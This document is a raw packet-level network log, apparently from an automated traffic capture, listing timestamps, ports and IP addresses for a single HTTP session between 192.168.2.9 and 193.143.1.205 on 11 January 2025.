Jan 11, 2025 09:21:32.441879034 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.441983938 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.441994905 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.442007065 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.442013025 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.442023993 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.442059040 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.442289114 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.442301989 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.442313910 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.442328930 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.442359924 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.442640066 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.442662001 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.442699909 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.442715883 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.442730904 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.442779064 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.442799091 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.442888021 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.442899942 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.442913055 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.442924976 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.442929983 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.442945004 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.443051100 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.443063974 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.443077087 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.443090916 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.443094015 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.443119049 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.444514036 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.444550991 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.444561958 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.444562912 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.444592953 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.444606066 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.444639921 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.444679022 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.444700003 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.444713116 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.444749117 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.444817066 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.444832087 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.444885015 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.444921017 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.444933891 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.444947004 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.444962025 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.444968939 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.444977045 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.444991112 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.445064068 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.445101023 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.445689917 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.452440023 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.452459097 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.452471972 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.452485085 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.452538013 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.453315973 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.460172892 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.460201979 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.460216999 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.460266113 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.460295916 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.460339069 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.460340023 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.460351944 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.460397959 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.461863995 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.493134975 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.493165970 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.493180037 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.493212938 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.527045965 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.527081013 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.527093887 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.527102947 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.527134895 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.527141094 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.527152061 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.527190924 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.527229071 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.527244091 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.527257919 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.527277946 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.527348995 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.527360916 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.527374029 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.527386904 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.527391911 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.527400970 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.527412891 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.527446032 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.527455091 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.527461052 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.527475119 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.527507067 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.527556896 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.527570009 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.527582884 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.527595997 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.527595997 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.527621031 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.527646065 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.527693033 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.561522961 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.561542988 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.561557055 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.561619043 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.561670065 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.561685085 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.561698914 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.561711073 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.561734915 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.561775923 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.561866045 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.561881065 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.561894894 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.561907053 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.561942101 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.562041044 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.562056065 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.562079906 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.562093019 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.562093973 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.562110901 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.562129974 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.562319040 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.562331915 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.562346935 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.562355995 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.562361956 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.562376022 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.562390089 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.562391996 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.562405109 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.562411070 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.562458992 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.562664032 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.562679052 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.562693119 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.562707901 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.562716007 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.562722921 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.562737942 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.562745094 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.562755108 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.562772989 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.562931061 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.562944889 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.562962055 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.562971115 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.562978983 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.563004017 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.563038111 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.563051939 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.563060045 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.563074112 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.563086033 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.563087940 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.563103914 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.563113928 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.563118935 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.563133955 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.563134909 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.563159943 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.563760042 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.563774109 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.563787937 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.563797951 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.563802004 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.563821077 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.563823938 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.563834906 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.563851118 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.563857079 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.563864946 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.563879967 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.563886881 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.563899994 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.563909054 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.563915968 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.563924074 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.563932896 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.563941002 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.563955069 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.563968897 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.563981056 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.564012051 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.564620972 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.564645052 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.564660072 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.564675093 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.564686060 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.564691067 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.564707041 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.564707041 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.564723969 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.564738035 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.564754009 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.564754009 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.564769983 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.564779043 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.564785004 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.564800024 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.564811945 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.564824104 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.564826965 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.564841986 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.564851999 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.564856052 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.564867020 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.564871073 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.564888954 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.564897060 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.564938068 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.565557003 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.565572023 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.565584898 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.565599918 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.565606117 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.565614939 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.565629959 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.565644026 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.565645933 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.565658092 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.565673113 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.565673113 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.565689087 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.565702915 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.565713882 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.565713882 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.565717936 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.565732956 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.565743923 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.565747976 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.565762997 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.565764904 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.565778971 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.565787077 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.565794945 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.565809011 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.572334051 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.644826889 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.644856930 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.644866943 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.644917011 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.644928932 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.644963980 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.645010948 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.645011902 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.645025969 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.645051003 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.645055056 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.645095110 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.645184994 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.645207882 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.645219088 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.645250082 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.645267010 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.645308971 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.645320892 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.645385981 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.645397902 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.645409107 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.645427942 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.645445108 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.645467997 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.645498037 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.645508051 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.645539045 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.645636082 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.645648003 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.645706892 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.645741940 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.645752907 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.645766020 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.645776987 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.645783901 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.645790100 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.645807028 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.645834923 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.662976980 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.663042068 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.663090944 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.663095951 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.663145065 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.663161039 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.663189888 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.663216114 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.663254976 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.663299084 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.663321018 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.663362026 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.663387060 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.663400888 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.663414001 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.663427114 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.663439035 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.663465977 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.663573980 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.663597107 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.663611889 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.663638115 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.663726091 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.663738012 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.663749933 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.663762093 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.663764000 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.663793087 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.663953066 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.663964987 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.663978100 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.663990021 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.663994074 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.664002895 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.664015055 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.664022923 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.664027929 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.664041996 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.664050102 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.664058924 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.664066076 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.664102077 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.664294004 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.664307117 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.664355040 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.664452076 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.664463997 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.664475918 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.664485931 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.664498091 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.664504051 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.664510012 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.664519072 CET	49760	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:21:32.664524078 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.664535999 CET	80	49760	193.143.1.205	192.168.2.9
Jan 11, 2025 09:21:32.664547920 CET	80	49760	193.143.1.205	192.168.2.9
